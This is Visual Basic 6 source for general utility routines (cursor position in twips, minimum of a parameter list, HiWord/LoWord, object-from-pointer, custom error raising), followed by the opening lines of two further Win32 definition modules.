Public Function GetCursorRelPos(hWnd As Long, Optional lCurrX As Long, Optional lCurrY As Long) As POINTAPI '4Matz:Changed
'*****************************************************
   ' Purpose    - Retrieves the cursor's position in twips relative to certain window 
   ' Assumptions: Window hwnd exist (if hwnd is not omitted) 
   ' Input      - hwnd (the window where the cursor will be retrieved relative to; 
   '                    if ommited, the screen will be used as the window) 
   ' Return     : As specified 
   Dim uposGetCursorRelPos As POINTAPI
10   GetCursorPos uposGetCursorRelPos
20   If Not IsMissing(lCurrX) Then
30      lCurrX = uposGetCursorRelPos.X
40      lCurrY = uposGetCursorRelPos.Y
50      End If
60   If hWnd <> gconUninitializedLong Then
70      ScreenToClient hWnd, uposGetCursorRelPos
80      With uposGetCursorRelPos
90         .X = .X * Screen.TwipsPerPixelX
100         .Y = .Y * Screen.TwipsPerPixelY
110         End With
120      End If
130   GetCursorRelPos = uposGetCursorRelPos
End Function
'*****************************************************
Public Function GetMin(ParamArray vntValue() As Variant) As Long  '4Matz:Changed
Attribute GetMin.VB_Description = "Gets minimum value of numbers in array lngValue()"
'*****************************************************
   ' Purpose    - Gets minimum value of numbers in array lngValue()
   ' Assumptions: * Option base is set to 0
   '              * Array lngValue() contains only numbers
   ' Input      - vntValue()
   ' Return     : * If no parameters passed to vntValue(), returns Empty
   '              * Otherwise, returns as specified
   '** 01/26/07 Yorgi- Performance & cleanup, redef variants to longs
   Dim i                   As Long               'for iterating the parameters value
   Dim lVal                As Long               'returned value
   Dim vntGetMin           As Long               'returned value
10   If Not IsMissing(vntValue) Then
20      vntGetMin = CLng(vntValue(0))
30      For i = 1 To UBound(vntValue)
40         lVal = CLng(vntValue(i))
50         If lVal < vntGetMin Then vntGetMin = lVal
60         Next
70      GetMin = vntGetMin
80      End If
End Function
'*****************************************************
Public Function HiWord(lDWord As Long) As Integer '4Matz:New
'*****************************************************
10   HiWord = (lDWord And &HFFFF0000) \ &H10000
End Function
'*****************************************************
Public Function LoWord(lDWord As Long) As Integer '4Matz:New
'*****************************************************
10   If lDWord And &H8000& Then
20      LoWord = lDWord Or &HFFFF0000
30   Else
40      LoWord = lDWord And &HFFFF&
50      End If
End Function
'*****************************************************
Public Property Get ObjectFromPtr(ByVal lPtr As Long) As Object '4Matz:New
'*****************************************************
   Dim objT                As Object
10   If Not (lPtr = 0) Then
20      CopyMemory objT, lPtr, 4
30      Set ObjectFromPtr = objT
40      CopyMemory objT, 0&, 4
50      End If
End Property
'*****************************************************
Public Sub RaiseError(ByVal udeErrNumber As genmErrNumber, Optional ByVal strSource As String)
Attribute RaiseError.VB_Description = "Raises custom error udeErrNumber"
'*****************************************************
   ' Purpose    - Raises custom error udeErrNumber
   ' Assumptions: * Error message udeErrNumber exists in the resource file
   '              * Global variable gstrControlName has been initialized
   ' Inputs     - * udeErrNumber
   '              * strSource (the location in form ClassNaRoutinesName where
   '                the error occur
10   If strSource <> "." Then strSource = "." & strSource
20   Err.Raise (vbObjectError + udeErrNumber), gstrControlName & strSource, LoadResString(udeErrNumber)
End Sub

' Yorgi's 4Matz [Feb 28,2007 23:58:49] sort=subs,vars;renum=procs,10;comments=50,50;AsType=40,25

Attribute VB_Name = "modDefsGraphics"

Attribute VB_Name = "modDefsWin32Msgs"
Option Explicit
Public Const EM_GETLIMITTEXT           As Long = &HD5
…